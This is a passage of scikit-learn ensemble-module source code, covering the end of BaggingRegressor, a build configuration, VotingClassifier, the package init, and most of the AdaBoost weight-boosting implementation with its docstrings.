        If -1, then the number of jobs is set to the number of cores.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    verbose : int, optional (default=0)
        Controls the verbosity of the building process.

    Attributes
    ----------
    estimators_ : list of estimators
        The collection of fitted sub-estimators.

    estimators_samples_ : list of arrays
        The subset of drawn samples (i.e., the in-bag samples) for each base
        estimator. Each subset is defined by a boolean mask.

    estimators_features_ : list of arrays
        The subset of drawn features for each base estimator.

    oob_score_ : float
        Score of the training dataset obtained using an out-of-bag estimate.

    oob_prediction_ : array of shape = [n_samples]
        Prediction computed with out-of-bag estimate on the training
        set. If n_estimators is small it might be possible that a data point
        was never left out during the bootstrap. In this case,
        `oob_prediction_` might contain NaN.

    References
    ----------

    .. [1] L. Breiman, "Pasting small votes for classification in large
           databases and on-line", Machine Learning, 36(1), 85-103, 1999.

    .. [2] L. Breiman, "Bagging predictors", Machine Learning, 24(2), 123-140,
           1996.

    .. [3] T. Ho, "The random subspace method for constructing decision
           forests", Pattern Analysis and Machine Intelligence, 20(8), 832-844,
           1998.

    .. [4] G. Louppe and P. Geurts, "Ensembles on Random Patches", Machine
           Learning and Knowledge Discovery in Databases, 346-361, 2012.
    """

    def __init__(self,
                 base_estimator=None,
                 n_estimators=10,
                 max_samples=1.0,
                 max_features=1.0,
                 bootstrap=True,
                 bootstrap_features=False,
                 oob_score=False,
                 warm_start=False,
                 n_jobs=1,
                 random_state=None,
                 verbose=0):
        super(BaggingRegressor, self).__init__(
            base_estimator,
            n_estimators=n_estimators,
            max_samples=max_samples,
            max_features=max_features,
            bootstrap=bootstrap,
            bootstrap_features=bootstrap_features,
            oob_score=oob_score,
            warm_start=warm_start,
            n_jobs=n_jobs,
            random_state=random_state,
            verbose=verbose)

    def predict(self, X):
        """Predict regression target for X.

        The predicted regression target of an input sample is computed as the
        mean predicted regression targets of the estimators in the ensemble.

        Parameters
        ----------
        X : {array-like, sparse matrix} of shape = [n_samples, n_features]
            The training input samples. Sparse matrices are accepted only if
            they are supported by the base estimator.

        Returns
        -------
        y : array of shape = [n_samples]
            The predicted values.
        """
        check_is_fitted(self, "estimators_features_")
        # Check data
        X = check_array(X, accept_sparse=['csr', 'csc'])

        # Parallel loop
        n_jobs, n_estimators, starts = _partition_estimators(self.n_estimators,
                                                             self.n_jobs)

        all_y_hat = Parallel(n_jobs=n_jobs, verbose=self.verbose)(
            delayed(_parallel_predict_regression)(
                self.estimators_[starts[i]:starts[i + 1]],
                self.estimators_features_[starts[i]:starts[i + 1]],
                X)
            for i in range(n_jobs))

        # Reduce
        y_hat = sum(all_y_hat) / self.n_estimators

        return y_hat

    def _validate_estimator(self):
        """Check the estimator and set the base_estimator_ attribute."""
        super(BaggingRegressor, self)._validate_estimator(
            default=DecisionTreeRegressor())

    def _set_oob_score(self, X, y):
        n_samples = y.shape[0]

        predictions = np.zeros((n_samples,))
        n_predictions = np.zeros((n_samples,))

        for estimator, samples, features in zip(self.estimators_,
                                                self.estimators_samples_,
                                                self.estimators_features_):
            # Create mask for OOB samples
            mask = ~samples

            predictions[mask] += estimator.predict((X[mask, :])[:, features])
            n_predictions[mask] += 1

        if (n_predictions == 0).any():
            warn("Some inputs do not have OOB scores. "
                 "This probably means too few estimators were used "
                 "to compute any reliable oob estimates.")
            n_predictions[n_predictions == 0] = 1

        predictions /= n_predictions

        self.oob_prediction_ = predictions
        self.oob_score_ = r2_score(y, predictions)






import numpy
from numpy.distutils.misc_util import Configuration


def configuration(parent_package="", top_path=None):
    config = Configuration("ensemble", parent_package, top_path)
    config.add_extension("_gradient_boosting",
                         sources=["_gradient_boosting.c"],
                         include_dirs=[numpy.get_include()])

    config.add_subpackage("tests")

    return config

if __name__ == "__main__":
    from numpy.distutils.core import setup
    setup(**configuration().todict())






"""
Soft Voting/Majority Rule classifier.

This module contains a Soft Voting/Majority Rule classifier for
classification estimators.

"""

# Authors: Sebastian Raschka <se.raschka@gmail.com>,
#          Gilles Louppe <g.louppe@gmail.com>
#
# License: BSD 3 clause

import numpy as np

from ..base import BaseEstimator
from ..base import ClassifierMixin
from ..base import TransformerMixin
from ..base import clone
from ..preprocessing import LabelEncoder
from ..externals import six
from ..utils.validation import check_is_fitted


class VotingClassifier(BaseEstimator, ClassifierMixin, TransformerMixin):
    """Soft Voting/Majority Rule classifier for unfitted estimators.

    .. versionadded:: 0.17

    Read more in the :ref:`User Guide <voting_classifier>`.

    Parameters
    ----------
    estimators : list of (string, estimator) tuples
        Invoking the ``fit`` method on the ``VotingClassifier`` will fit clones
        of those original estimators that will be stored in the class attribute
        `self.estimators_`.

    voting : str, {'hard', 'soft'} (default='hard')
        If 'hard', uses predicted class labels for majority rule voting.
        Else if 'soft', predicts the class label based on the argmax of
        the sums of the predicted probabilities, which is recommended for
        an ensemble of well-calibrated classifiers.

    weights : array-like, shape = [n_classifiers], optional (default=`None`)
        Sequence of weights (`float` or `int`) to weight the occurrences of
        predicted class labels (`hard` voting) or class probabilities
        before averaging (`soft` voting). Uses uniform weights if `None`.

    Attributes
    ----------
    estimators_ : list of classifiers
        The collection of fitted sub-estimators.

    classes_ : array-like, shape = [n_predictions]
        The classes labels.

    Examples
    --------
    >>> import numpy as np
    >>> from sklearn.linear_model import LogisticRegression
    >>> from sklearn.naive_bayes import GaussianNB
    >>> from sklearn.ensemble import RandomForestClassifier, VotingClassifier
    >>> clf1 = LogisticRegression(random_state=1)
    >>> clf2 = RandomForestClassifier(random_state=1)
    >>> clf3 = GaussianNB()
    >>> X = np.array([[-1, -1], [-2, -1], [-3, -2], [1, 1], [2, 1], [3, 2]])
    >>> y = np.array([1, 1, 1, 2, 2, 2])
    >>> eclf1 = VotingClassifier(estimators=[
    ...         ('lr', clf1), ('rf', clf2), ('gnb', clf3)], voting='hard')
    >>> eclf1 = eclf1.fit(X, y)
    >>> print(eclf1.predict(X))
    [1 1 1 2 2 2]
    >>> eclf2 = VotingClassifier(estimators=[
    ...         ('lr', clf1), ('rf', clf2), ('gnb', clf3)],
    ...         voting='soft')
    >>> eclf2 = eclf2.fit(X, y)
    >>> print(eclf2.predict(X))
    [1 1 1 2 2 2]
    >>> eclf3 = VotingClassifier(estimators=[
    ...        ('lr', clf1), ('rf', clf2), ('gnb', clf3)],
    ...        voting='soft', weights=[2,1,1])
    >>> eclf3 = eclf3.fit(X, y)
    >>> print(eclf3.predict(X))
    [1 1 1 2 2 2]
    >>>
    """

    def __init__(self, estimators, voting='hard', weights=None):

        self.estimators = estimators
        self.named_estimators = dict(estimators)
        self.voting = voting
        self.weights = weights

    def fit(self, X, y):
        """ Fit the estimators.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Training vectors, where n_samples is the number of samples and
            n_features is the number of features.

        y : array-like, shape = [n_samples]
            Target values.

        Returns
        -------
        self : object
        """
        if isinstance(y, np.ndarray) and len(y.shape) > 1 and y.shape[1] > 1:
            raise NotImplementedError('Multilabel and multi-output'
                                      ' classification is not supported.')

        if self.voting not in ('soft', 'hard'):
            raise ValueError("Voting must be 'soft' or 'hard'; got (voting=%r)"
                             % self.voting)

        if self.estimators is None or len(self.estimators) == 0:
            raise AttributeError('Invalid `estimators` attribute, `estimators`'
                                 ' should be a list of (string, estimator)'
                                 ' tuples')

        if self.weights and len(self.weights) != len(self.estimators):
            raise ValueError('Number of classifiers and weights must be equal'
                             '; got %d weights, %d estimators'
                             % (len(self.weights), len(self.estimators)))

        self.le_ = LabelEncoder()
        self.le_.fit(y)
        self.classes_ = self.le_.classes_
        self.estimators_ = []

        for name, clf in self.estimators:
            fitted_clf = clone(clf).fit(X, self.le_.transform(y))
            self.estimators_.append(fitted_clf)

        return self

    def predict(self, X):
        """ Predict class labels for X.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Training vectors, where n_samples is the number of samples and
            n_features is the number of features.

        Returns
        ----------
        maj : array-like, shape = [n_samples]
            Predicted class labels.
        """

        check_is_fitted(self, 'estimators_')
        if self.voting == 'soft':
            maj = np.argmax(self.predict_proba(X), axis=1)

        else:  # 'hard' voting
            predictions = self._predict(X)
            maj = np.apply_along_axis(lambda x:
                                      np.argmax(np.bincount(x,
                                                weights=self.weights)),
                                      axis=1,
                                      arr=predictions.astype('int'))

        maj = self.le_.inverse_transform(maj)

        return maj

    def _collect_probas(self, X):
        """Collect results from clf.predict calls. """
        return np.asarray([clf.predict_proba(X) for clf in self.estimators_])

    def _predict_proba(self, X):
        """Predict class probabilities for X in 'soft' voting """
        if self.voting == 'hard':
            raise AttributeError("predict_proba is not available when"
                                 " voting=%r" % self.voting)
        check_is_fitted(self, 'estimators_')
        avg = np.average(self._collect_probas(X), axis=0, weights=self.weights)
        return avg

    @property
    def predict_proba(self):
        """Compute probabilities of possible outcomes for samples in X.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Training vectors, where n_samples is the number of samples and
            n_features is the number of features.

        Returns
        ----------
        avg : array-like, shape = [n_samples, n_classes]
            Weighted average probability for each class per sample.
        """
        return self._predict_proba

    def transform(self, X):
        """Return class labels or probabilities for X for each estimator.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Training vectors, where n_samples is the number of samples and
            n_features is the number of features.

        Returns
        -------
        If `voting='soft'`:
          array-like = [n_classifiers, n_samples, n_classes]
            Class probabilities calculated by each classifier.
        If `voting='hard'`:
          array-like = [n_classifiers, n_samples]
            Class labels predicted by each classifier.
        """
        check_is_fitted(self, 'estimators_')
        if self.voting == 'soft':
            return self._collect_probas(X)
        else:
            return self._predict(X)

    def get_params(self, deep=True):
        """Return estimator parameter names for GridSearch support"""
        if not deep:
            return super(VotingClassifier, self).get_params(deep=False)
        else:
            out = super(VotingClassifier, self).get_params(deep=False)
            out.update(self.named_estimators.copy())
            for name, step in six.iteritems(self.named_estimators):
                for key, value in six.iteritems(step.get_params(deep=True)):
                    out['%s__%s' % (name, key)] = value
            return out

    def _predict(self, X):
        """Collect results from clf.predict calls. """
        return np.asarray([clf.predict(X) for clf in self.estimators_]).T






"""
The :mod:`sklearn.ensemble` module includes ensemble-based methods for
classification, regression and anomaly detection.
"""

from .base import BaseEnsemble
from .forest import RandomForestClassifier
from .forest import RandomForestRegressor
from .forest import RandomTreesEmbedding
from .forest import ExtraTreesClassifier
from .forest import ExtraTreesRegressor
from .bagging import BaggingClassifier
from .bagging import BaggingRegressor
from .iforest import IsolationForest
from .weight_boosting import AdaBoostClassifier
from .weight_boosting import AdaBoostRegressor
from .gradient_boosting import GradientBoostingClassifier
from .gradient_boosting import GradientBoostingRegressor
from .voting_classifier import VotingClassifier

from . import bagging
from . import forest
from . import weight_boosting
from . import gradient_boosting
from . import partial_dependence

__all__ = ["BaseEnsemble",
           "RandomForestClassifier", "RandomForestRegressor",
           "RandomTreesEmbedding", "ExtraTreesClassifier",
           "ExtraTreesRegressor", "BaggingClassifier",
           "BaggingRegressor", "IsolationForest", "GradientBoostingClassifier",
           "GradientBoostingRegressor", "AdaBoostClassifier",
           "AdaBoostRegressor", "VotingClassifier",
           "bagging", "forest", "gradient_boosting",
           "partial_dependence", "weight_boosting"]






"""Weight Boosting

This module contains weight boosting estimators for both classification and
regression.

The module structure is the following:

- The ``BaseWeightBoosting`` base class implements a common ``fit`` method
  for all the estimators in the module. Regression and classification
  only differ from each other in the loss function that is optimized.

- ``AdaBoostClassifier`` implements adaptive boosting (AdaBoost-SAMME) for
  classification problems.

- ``AdaBoostRegressor`` implements adaptive boosting (AdaBoost.R2) for
  regression problems.
"""

# Authors: Noel Dawe <noel@dawe.me>
#          Gilles Louppe <g.louppe@gmail.com>
#          Hamzeh Alsalhi <ha258@cornell.edu>
#          Arnaud Joly <arnaud.v.joly@gmail.com>
#
# License: BSD 3 clause

from abc import ABCMeta, abstractmethod

import numpy as np
from numpy.core.umath_tests import inner1d

from .base import BaseEnsemble
from ..base import ClassifierMixin, RegressorMixin, is_regressor
from ..externals import six
from ..externals.six.moves import zip
from ..externals.six.moves import xrange as range
from .forest import BaseForest
from ..tree import DecisionTreeClassifier, DecisionTreeRegressor
from ..tree.tree import BaseDecisionTree
from ..tree._tree import DTYPE
from ..utils import check_array, check_X_y, check_random_state
from ..metrics import accuracy_score, r2_score
from sklearn.utils.validation import has_fit_parameter, check_is_fitted

__all__ = [
    'AdaBoostClassifier',
    'AdaBoostRegressor',
]


class BaseWeightBoosting(six.with_metaclass(ABCMeta, BaseEnsemble)):
    """Base class for AdaBoost estimators.

    Warning: This class should not be used directly. Use derived classes
    instead.
    """

    @abstractmethod
    def __init__(self,
                 base_estimator=None,
                 n_estimators=50,
                 estimator_params=tuple(),
                 learning_rate=1.,
                 random_state=None):

        super(BaseWeightBoosting, self).__init__(
            base_estimator=base_estimator,
            n_estimators=n_estimators,
            estimator_params=estimator_params)

        self.learning_rate = learning_rate
        self.random_state = random_state

    def fit(self, X, y, sample_weight=None):
        """Build a boosted classifier/regressor from the training set (X, y).

        Parameters
        ----------
        X : {array-like, sparse matrix} of shape = [n_samples, n_features]
            The training input samples. Sparse matrix can be CSC, CSR, COO,
            DOK, or LIL. COO, DOK, and LIL are converted to CSR. The dtype is
            forced to DTYPE from tree._tree if the base classifier of this
            ensemble weighted boosting classifier is a tree or forest.

        y : array-like of shape = [n_samples]
            The target values (class labels in classification, real numbers in
            regression).

        sample_weight : array-like of shape = [n_samples], optional
            Sample weights. If None, the sample weights are initialized to
            1 / n_samples.

        Returns
        -------
        self : object
            Returns self.
        """
        # Check parameters
        if self.learning_rate <= 0:
            raise ValueError("learning_rate must be greater than zero")

        if (self.base_estimator is None or
                isinstance(self.base_estimator, (BaseDecisionTree,
                                                 BaseForest))):
            dtype = DTYPE
            accept_sparse = 'csc'
        else:
            dtype = None
            accept_sparse = ['csr', 'csc']

        X, y = check_X_y(X, y, accept_sparse=accept_sparse, dtype=dtype,
                         y_numeric=is_regressor(self))

        if sample_weight is None:
            # Initialize weights to 1 / n_samples
            sample_weight = np.empty(X.shape[0], dtype=np.float64)
            sample_weight[:] = 1. / X.shape[0]
        else:
            # Normalize existing weights
            sample_weight = sample_weight / sample_weight.sum(dtype=np.float64)

            # Check that the sample weights sum is positive
            if sample_weight.sum() <= 0:
                raise ValueError(
                    "Attempting to fit with a non-positive "
                    "weighted number of samples.")

        # Check parameters
        self._validate_estimator()

        # Clear any previous fit results
        self.estimators_ = []
        self.estimator_weights_ = np.zeros(self.n_estimators, dtype=np.float64)
        self.estimator_errors_ = np.ones(self.n_estimators, dtype=np.float64)

        for iboost in range(self.n_estimators):
            # Boosting step
            sample_weight, estimator_weight, estimator_error = self._boost(
                iboost,
                X, y,
                sample_weight)

            # Early termination
            if sample_weight is None:
                break

            self.estimator_weights_[iboost] = estimator_weight
            self.estimator_errors_[iboost] = estimator_error

            # Stop if error is zero
            if estimator_error == 0:
                break

            sample_weight_sum = np.sum(sample_weight)

            # Stop if the sum of sample weights has become non-positive
            if sample_weight_sum <= 0:
                break

            if iboost < self.n_estimators - 1:
                # Normalize
                sample_weight /= sample_weight_sum

        return self

    @abstractmethod
    def _boost(self, iboost, X, y, sample_weight):
        """Implement a single boost.

        Warning: This method needs to be overridden by subclasses.

        Parameters
        ----------
        iboost : int
            The index of the current boost iteration.

        X : {array-like, sparse matrix} of shape = [n_samples, n_features]
            The training input samples. Sparse matrix can be CSC, CSR, COO,
            DOK, or LIL. COO, DOK, and LIL are converted to CSR.

        y : array-like of shape = [n_samples]
            The target values (class labels).

        sample_weight : array-like of shape = [n_samples]
            The current sample weights.

        Returns
        -------
        sample_weight : array-like of shape = [n_samples] or None
            The reweighted sample weights.
            If None then boosting has terminated early.

        estimator_weight : float
            The weight for the current boost.
            If None then boosting has terminated early.

        error : float
            The classification error for the current boost.
            If None then boosting has terminated early.
        """
        pass

    def staged_score(self, X, y, sample_weight=None):
        """Return staged scores for X, y.

        This generator method yields the ensemble score after each iteration of
        boosting and therefore allows monitoring, such as to determine the
        score on a test set after each boost.

        Parameters
        ----------
        X : {array-like, sparse matrix} of shape = [n_samples, n_features]
            The training input samples. Sparse matrix can be CSC, CSR, COO,
            DOK, or LIL. DOK and LIL are converted to CSR.

        y : array-like, shape = [n_samples]
            Labels for X.

        sample_weight : array-like, shape = [n_samples], optional
            Sample weights.

        Returns
        -------
        z : float
        """
        for y_pred in self.staged_predict(X):
            if isinstance(self, ClassifierMixin):
                yield accuracy_score(y, y_pred, sample_weight=sample_weight)
            else:
                yield r2_score(y, y_pred, sample_weight=sample_weight)

    @property
    def feature_importances_(self):
        """Return the feature importances (the higher, the more important the
           feature).

        Returns
        -------
        feature_importances_ : array, shape = [n_features]
        """
        if self.estimators_ is None or len(self.estimators_) == 0:
            raise ValueError("Estimator not fitted, "
                             "call `fit` before `feature_importances_`.")

        try:
            norm = self.estimator_weights_.sum()
            return (sum(weight * clf.feature_importances_ for weight, clf
                    in zip(self.estimator_weights_, self.estimators_))
                    / norm)

        except AttributeError:
            raise AttributeError(
                "Unable to compute feature importances "
                "since base_estimator does not have a "
                "feature_importances_ attribute")

    def _validate_X_predict(self, X):
        """Ensure that X is in the proper format"""
        if (self.base_estimator is None or
                isinstance(self.base_estimator,
                           (BaseDecisionTree, BaseForest))):
            X = check_array(X, accept_sparse='csr', dtype=DTYPE)

        else:
            X = check_array(X, accept_sparse=['csr', 'csc', 'coo'])

        return X


def _samme_proba(estimator, n_classes, X):
    """Calculate algorithm 4, step 2, equation c) of Zhu et al [1].

    References
    ----------
    .. [1] J. Zhu, H. Zou, S. Rosset, T. Hastie, "Multi-class AdaBoost", 2009.

    """
    proba = estimator.predict_proba(X)

    # Displace zero probabilities so the log is defined.
    # Also fix negative elements which may occur with
    # negative sample weights.
    proba[proba < np.finfo(proba.dtype).eps] = np.finfo(proba.dtype).eps
    log_proba = np.log(proba)

    return (n_classes - 1) * (log_proba - (1. / n_classes)
                              * log_proba.sum(axis=1)[:, np.newaxis])


class AdaBoostClassifier(BaseWeightBoosting, ClassifierMixin):
    """An AdaBoost classifier.

    An AdaBoost [1] classifier is a meta-estimator that begins by fitting a
    classifier on the original dataset and then fits additional copies of the
    classifier on the same dataset but where the weights of incorrectly
    classified instances are adjusted such that subsequent classifiers focus
    more on difficult cases.

    This class implements the algorithm known as AdaBoost-SAMME [2].

    Read more in the :ref:`User Guide <adaboost>`.

    Parameters
    ----------
    base_estimator : object, optional (default=DecisionTreeClassifier)
        The base estimator from which the boosted ensemble is built.
        Support for sample weighting is required, as well as proper `classes_`
        and `n_classes_` attributes.

    n_estimators : integer, optional (default=50)
        The maximum number of estimators at which boosting is terminated.
        In case of perfect fit, the learning procedure is stopped early.

    learning_rate : float, optional (default=1.)
        Learning rate shrinks the contribution of each classifier by
        ``learning_rate``. There is a trade-off between ``learning_rate`` and
        ``n_estimators``.

    algorithm : {'SAMME', 'SAMME.R'}, optional (default='SAMME.R')
        If 'SAMME.R' then use the SAMME.R real boosting algorithm.
        ``base_estimator`` must support calculation of class probabilities.
        If 'SAMME' then use the SAMME discrete boosting algorithm.
        The SAMME.R algorithm typically converges faster than SAMME,
        achieving a lower test error with fewer boosting iterations.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    Attributes
    ----------
    estimators_ : list of classifiers
        The collection of fitted sub-estimators.

    classes_ : array of shape = [n_classes]
        The classes labels.

    n_classes_ : int
        The number of classes.

    estimator_weights_ : array of floats
        Weights for each estimator in the boosted ensemble.

    estimator_errors_ : array of floats
        Classification error for each estimator in the boosted
        ensemble.

    feature_importances_ : array of shape = [n_features]
        The feature importances if supported by the ``base_estimator``.

    See also
    --------
    AdaBoostRegressor, GradientBoostingClassifier, DecisionTreeClassifier

    References
    ----------
    .. [1] Y. Freund, R. Schapire, "A Decision-Theoretic Generalization of
           on-Line Learning and an Application to Boosting", 1995.

    .. [2] J. Zhu, H. Zou, S. Rosset, T. Hastie, "Multi-class AdaBoost", 2009.

    """
    def __init__(self,
                 base_estimator=None,
                 n_estimators=50,
                 learning_rate=1.,
                 algorithm='SAMME.R',
                 random_state=None):

        super(AdaBoostClassifier, self).__init__(
            base_estimator=base_estimator,
            n_estimators=n_estimators,
            learning_rate=learning_rate,
            random_state=random_state)

        self.algorithm = algorithm

    def fit(self, X, y, sample_weight=None):
        """Build a boosted classifier from the training set (X, y).

        Parameters
        ----------
        X : {array-like, sparse matrix} of shape = [n_samples, n_features]
            The training input samples. Sparse matrix can be CSC, CSR, COO,
            DOK, or LIL. DOK and LIL are converted to CSR.

        y : array-like of shape = [n_samples]
            The target values (class labels).

        sample_weight : array-like of shape = [n_samples], optional
            Sample weights. If None, the sample weights are initialized to
            ``1 / n_samples``.

        Returns
        -------
        self : object
            Returns self.
        """
        # Check that algorithm is supported
        if self.algorithm not in ('SAMME', 'SAMME.R'):
            raise ValueError("algorithm %s is not supported" % self.algorithm)

        # Fit
        return super(AdaBoostClassifier, self).fit(X, y, sample_weight)

    def _validate_estimator(self):
        """Check the estimator and set the base_estimator_ attribute."""
        super(AdaBoostClassifier, self)._validate_estimator(
            default=DecisionTreeClassifier(max_depth=1))

        #  SAMME-R requires predict_proba-enabled base estimators
        if self.algorithm == 'SAMME.R':
            if not hasattr(self.base_estimator_, 'predict_proba'):
                raise TypeError(
                    "AdaBoostClassifier with algorithm='SAMME.R' requires "
                    "that the weak learner supports the calculation of class "
                    "probabilities with a predict_proba method.\n"
                    "Please change the base estimator or set "
                    "algorithm='SAMME' instead.")
        if not has_fit_parameter(self.base_estimator_, "sample_weight"):
            raise ValueError("%s doesn't support sample_weight."
                             % self.base_estimator_.__class__.__name__)

    def _boost(self, iboost, X, y, sample_weight):
        """Implement a single boost.

        Perform a single boost according to the real multi-class SAMME.R
        algorithm or to the discrete SAMME algorithm and return the updated
        sample weights.

        Parameters
        ----------
        iboost : int
            The index of the current boost iteration.

        X : {array-like, sparse matrix} of shape = [n_samples, n_features]
            The training input samples. Sparse matrix can be CSC, CSR, COO,
            DOK, or LIL. DOK and LIL are converted to CSR.

        y : array-like of shape = [n_samples]
            The target values (class labels).

        sample_weight : array-like of shape = [n_samples]
            The current sample weights.

        Returns
        -------
        sample_weight : array-like of shape = [n_samples] or None
            The reweighted sample weights.
            If None then boosting has terminated early.

        estimator_weight : float
            The weight for the current boost.
            If None then boosting has terminated early.

        estimator_error : float
            The classification error for the current boost.
            If None then boosting has terminated early.
        """
        if self.algorithm == 'SAMME.R':
            return self._boost_real(iboost, X, y, sample_weight)

        else:  # elif self.algorithm == "SAMME":
            return self._boost_discrete(iboost, X, y, sample_weight)

    def _boost_real(self, iboost, X, y, sample_weight):
        """Implement a single boost using the SAMME.R real algorithm."""
        estimator = self._make_estimator()

        try:
            estimator.set_params(random_state=self.random_state)
        except ValueError:
            pass

        estimator.fit(X, y, sample_weight=sample_weight)

        y_predict_proba = estimator.predict_proba(X)

        if iboost == 0:
            self.classes_ = getattr(estimator, 'classes_', None)
            self.n_classes_ = len(self.classes_)

        y_predict = self.classes_.take(np.argmax(y_predict_proba, axis=1),
                                       axis=0)

        # Instances incorrectly classified
        incorrect = y_predict != y

        # Error fraction
        estimator_error = np.mean(
            np.average(incorrect, weights=sample_weight, axis=0))

        # Stop if classification is perfect
        if estimator_error <= 0:
            return sample_weight, 1., 0.

        # Construct y coding as described in Zhu et al [2]:
        #
        #    y_k = 1 if c == k else -1 / (K - 1)
        #
        # where K == n_classes_ and c, k in [0, K) are indices along the second
        # axis of the y coding with c being the index corresponding to the true
        # class label.
        n_classes = self.n_classes_
        classes = self.classes_
        y_codes = np.array([-1. / (n_classes - 1), 1.])
        y_coding = y_codes.take(classes == y[:, np.newaxis])

        # Displace zero probabilities so the log is defined.
        # Also fix negative elements which may occur with
        # negative sample weights.
        proba = y_predict_proba  # alias for readability
        proba[proba < np.finfo(proba.dtype).eps] = np.finfo(proba.dtype).eps

        # Boost weight using multi-class AdaBoost SAMME.R alg
        estimator_weight = (-1. * self.learning_rate
                                * (((n_classes - 1.) / n_classes) *
                                   inner1d(y_coding, np.log(y_predict_proba))))

        # Only boost the weights if it will fit again
        if not iboost == self.n_estimators - 1:
            # Only boost positive weights
            sample_weight *= np.exp(estimator_weight *
                                    ((sample_weight > 0) |
                                     (estimator_weight < 0)))

        return sample_weight, 1., estimator_error

    def _boost_discrete(self, iboost, X, y, sample_weight):
        """Implement a single boost using the SAMME discrete algorithm."""
        estimator = self._make_estimator()

        try:
            estimator.set_params(random_state=self.random_state)
        except ValueError:
            pass

        estimator.fit(X, y, sample_weight=sample_weight)

        y_predict = estimator.predict(X)

        if iboost == 0:
            self.classes_ = getattr(estimator, 'classes_', None)
            self.n_classes_ = len(self.classes_)

        # Instances incorrectly classified
        incorrect = y_predict != y

        # Error fraction
        estimator_error = np.mean(
            np.average(incorrect, weights=sample_weight, axis=0))

        # Stop if classification is perfect
        if estimator_error <= 0:
            return sample_weight, 1., 0.

        n_classes = self.n_classes_

        # Stop if the error is at least as bad as random guessing
        if estimator_error >= 1. - (1. / n_classes):
            self.estimators_.pop(-1)
            if len(self.estimators_) == 0:
                raise ValueError('BaseClassifier in AdaBoostClassifier '
                                 'ensemble is worse than random, ensemble '
                                 'can not be fit.')
            return None, None, None

        # Boost weight using multi-class AdaBoost SAMME alg
        estimator_weight = self.learning_rate * (
            np.log((1. - estimator_error) / estimator_error) +
            np.log(n_classes - 1.))

        # Only boost the weights if I will fit again
        if not iboost == self.n_estimators - 1:
            # Only boost positive weights
            sample_weight *= np.exp(estimator_weight * incorrect *
                                    ((sample_weight > 0) |
                                     (estimator_weight < 0)))

        return sample_weight, estimator_weight, estimator_error

    def predict(self, X):
        """Predict classes for X.

        The predicted class of an input sample is computed as the weighted mean
        prediction of the classifiers in the ensemble.

        Parameters
        ----------
        X : {array-like, sparse matrix} of shape = [n_samples, n_features]
            The training input samples. Sparse matrix can be CSC, CSR, COO,
            DOK, or LIL. DOK and LIL are converted to CSR.

        Returns
        -------
        y : array of shape = [n_samples]
            The predicted classes.
        """
        pred = self.decision_function(X)

        if self.n_classes_ == 2:
            return self.classes_.take(pred > 0, axis=0)

        return self.classes_.take(np.argmax(pred, axis=1), axis=0)

    def staged_predict(self, X):
        """Return staged predictions for X.

        The predicted class of an input sample is computed as the weighted mean
        prediction of the classifiers in the ensemble.

        This generator method yields the ensemble prediction after each
        iteration of boosting and therefore allows monitoring, such as to
        determine the prediction on a test set after each boost.

        Parameters
        ----------
        X : array-like of shape = [n_samples, n_features]
            The input samples.

        Returns
        -------
        y : generator of array, shape = [n_samples]
            The predicted classes.
        """
        n_classes = self.n_classes_
        classes = self.classes_

        if n_classes == 2:
            for pred in self.staged_decision_function(X):
                yield np.array(classes.take(pred > 0, axis=0))

        else:
            for pred in self.staged_decision_function(X):
                yield np.array(classes.take(
                    np.argmax(pred, axis=1), axis=0))

    def decision_function(self, X):
        """Compute the decision function of ``X``.

        Parameters
        ----------
        X : {array-like, sparse matrix} of shape = [n_samples, n_features]
            The training input samples. Sparse matrix can be CSC, CSR, COO,
            DOK, or LIL. DOK and LIL are converted to CSR.

        Returns
        -------
        score : array, shape = [n_samples, k]
            The decision function of the input samples. The order of
            outputs is the same of that of the `classes_` attribute.
            Binary classification is a special cases with ``k == 1``,
            otherwise ``k==n_classes``. For binary classification,
            values closer to -1 or 1 mean more like the first or second
            class in ``classes_``, respectively.
        """
        check_is_fitted(self, "n_classes_")
        X = self._validate_X_predict(X)

        n_classes = self.n_classes_
        classes = self.classes_[:, np.newaxis]
        pred = None

        if self.algorithm == 'SAMME.R':
            # The weights are all 1. for SAMME.R
            pred = sum(_samme_proba(estimator, n_classes, X)
                       for estimator in self.estimators_)
        else:   # self.algorithm == "SAMME"
            pred = sum((estimator.predict(X) == classes).T * w
                       for estimator, w in zip(self.estimators_,
                                               self.estimator_weights_))

        pred /= self.estimator_weights_.sum()
        if n_classes == 2:
            pred[:, 0] *= -1
            return pred.sum(axis=1)
        return pred

    def staged_decision_function(self, X):
        """Compute decision function of ``X`` for each boosting iteration.

        This method allows monitoring (i.e. determine error on testing set)
        after each boosting iteration.

        Parameters
        ----------
        X : {array-like, sparse matrix} of shape = [n_samples, n_features]
            The training input samples. Sparse matrix can be CSC, CSR, COO,
            DOK, or LIL. DOK and LIL are converted to CSR.

        Returns
        -------
        score : generator of array, shape = [n_samples, k]
            The decision function of the input samples. The order of
            outputs is the same of that of the `classes_` attribute.
            Binary classification is a special cases with ``k == 1``,
            otherwise ``k==n_classes``. For binary classification,
            values closer to -1 or 1 mean more like the first or second
            class in ``classes_``, respectively.
        """
        check_is_fitted(self, "n_classes_")
        X = self._validate_X_predict(X)

        n_classes = self.n_classes_
        classes = self.classes_[:, np.newaxis]
        pred = None
        norm = 0.

        for weight, estimator in zip(self.estimator_weights_,
                                     self.estimators_):
            norm += weight

            if self.algorithm == 'SAMME.R':
                # The weights are all 1. for SAMME.R
                current_pred = _samme_proba(estimator, n_classes, X)
            else:  # elif self.algorithm == "SAMME":
                current_pred = estimator.predict(X)
                current_pred = (current_pred == classes).T * weight

            if pred is None:
                pred = current_pred
            else:
                pred += current_pred

            if n_classes == 2:
                tmp_pred = np.copy(pred)
                tmp_pred[:, 0] *= -1
                yield (tmp_pred / norm).sum(axis=1)
            else:
                yield pred / norm

    def predict_proba(self, X):
        """Predict class probabilities for X.

        The predicted class probabilities of an input sample is computed as
        the weighted mean predicted class probabilities of the classifiers
        in the ensemble.

        Parameters
        ----------
        X : {array-like, sparse matrix} of shape = [n_samples, n_features]
